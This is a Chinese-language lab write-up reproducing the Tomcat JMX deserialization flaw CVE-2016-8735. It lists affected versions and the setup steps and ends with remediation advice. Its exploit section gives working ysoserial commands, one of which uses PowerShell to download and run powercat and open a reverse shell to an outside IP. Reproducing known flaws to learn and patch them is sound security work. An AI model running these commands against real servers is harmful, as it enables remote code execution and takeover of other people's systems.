Tomcat反序列化漏洞(CVE-2016-8735)


目錄​​​​​​​

CVE-2016-8735

漏洞復現

漏洞修復:


CVE-2016-8735

漏洞描述:

該漏洞與之前Oracle發布的 mxRemoteLifecycleListener 反序列化漏洞(CVE-2016-3427)相關,是由於使用了JmxRemoteLifecycleListener 的監聽功能所導致。而在Oracle官方發布修復后,Tomcat未能及時修復更新而導致的遠程代碼執行。
該漏洞所造成的最根本原因是Tomcat在配置JMX做監控時使用了 JmxRemoteLifecycleListener 的方法。

漏洞影響版本:

  • ApacheTomcat 9.0.0.M1 到9.0.0.M11
  • ApacheTomcat 8.5.0 到8.5.6
  • ApacheTomcat 8.0.0.RC1 到8.0.38
  • ApacheTomcat 7.0.0 到7.0.72
  • ApacheTomcat 6.0.0 到6.0.47

漏洞利用條件:

外部需要開啟JmxRemoteLifecycleListener監聽的 10001 和 10002 端口,來實現遠程代碼執行。

漏洞復現

環境:Tomcat7.0.39

在 conf/server.xml 中第 30 行中配置啟用JmxRemoteLifecycleListener功能監聽的端口:

配置好 jmx 的端口后,我們在 tomcat 版本(https://archive.apache.org/dist/tomcat/)所對應的 extras/ 目錄下來下載 catalina-jmx-remote.jar 以及下載 groovy-2.3.9.jar 兩個jar 包。下載完成后放至在lib目錄下。

接着我們再去bin目錄下修改catalina.bat腳本。在ExecuteThe Requested Command注釋前面添加這么一行。主要配置的意思是設置啟動tomcat的相關配置,不開啟遠程監聽jvm信息。設置不啟用他的ssl鏈接和不使用監控的賬戶。具體的配置可以去了解一下利用tomcat的jmx監控。

然后啟動 Tomcat ,看看本地的 10001 和 10002 端口是否開放

漏洞利用

java -cp  ysoserial.jar ysoserial.exploit.RMIRegistryExploit  127.0.0.1 10001 Groovy1  "calc.exe"

但是由於該命令沒有回顯,所以我們還是選擇反彈shell回來,以下是反彈nc的shell。更多的關於windows反彈shell的cmd和powershell命令,傳送門:Windows反彈Shell ​​​​​​​

java -cp  ysoserial.jar ysoserial.exploit.RMIRegistryExploit  127.0.0.1 10001 Groovy1  "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd"

漏洞修復:

1、關閉 JmxRemoteLifecycleListener 功能,或者是對 jmx JmxRemoteLifecycleListener 遠程端口進行網絡訪問控制。同時,增加嚴格的認證方式。

2、根據官方去升級更新相對應的版本。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM